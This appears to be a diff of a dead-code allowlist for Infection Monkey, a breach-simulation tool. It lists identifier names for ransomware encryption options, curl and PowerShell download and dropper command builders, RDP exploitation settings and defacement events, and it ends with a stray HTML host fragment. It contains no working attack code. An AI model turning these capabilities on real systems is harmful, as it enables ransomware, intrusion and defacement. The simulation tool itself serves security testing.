+HostExploiter.add_vuln_url + +EncryptionBehavior.validate_file_extension +EncryptionBehavior.validate_linux_target_dir +EncryptionBehavior.validate_windows_target_dir +RansomwareOptions.encryption +RansomwareOptions.other_behaviors +linux_target_dir +windows_target_dir + + # User model fields User.active User.fs_uniquifier @@ -153,5 +195,42 @@ commands.build_command_windows_powershell commands.build_download_command_linux_curl commands.build_dropper_script_download_command -commands.download_command_windows_powershell_webclient -commands.download_command_windows_powershell_webrequest +commands.build_download_command_windows_powershell_webclient +commands.build_download_command_windows_powershell_webrequest + +request_cache + +# Remove after the plugin interface is in place +AgentPluginMetadata.resource_path +AgentPluginMetadata._str_to_pure_posix_path +AgentPluginRepositoryIndex +AgentPluginRepositoryIndex.compatible_infection_monkey_version +AgentPluginRepositoryIndex._infection_monkey_version_parser +AgentPluginRepositoryIndex._sort_plugins_by_version +AgentPluginRepositoryIndex.use_enum_values +AgentPluginRepositoryIndex._convert_str_type_to_enum + +CPUConsumptionEvent.cpu_number +CPUConsumptionEvent.utilization +RAMConsumptionEvent.utilization + +# RDP +InMemoryFileProvider.get_file_data +InMemoryFileProvider.get_file_size +UniCredential.stype +RDPIOSettings.video_width +RDPIOSettings.video_height +RDPIOSettings.video_bpp_max +RDPIOSettings.video_out_format +RDPIOSettings.clipboard_use_pyperclip + +AgentPluginService.install_agent_plugin_from_repository + +# Remove after #1247 is completed +DefacementEvent +DefacementEvent.DefacementTarget.INTERNAL +DefacementEvent.DefacementTarget.EXTERNAL +DefacementEvent.defacement_target +DEFACEMENT_T1491_TAG +INTERNAL_DEFACEMENT_T1491_001_TAG +EXTERNAL_DEFACEMENT_T1491_002_TAG

    Nr. 251 MonkeyIsland

    +

    Nr. 251 MonkeyIsland

    (10.2.2.251)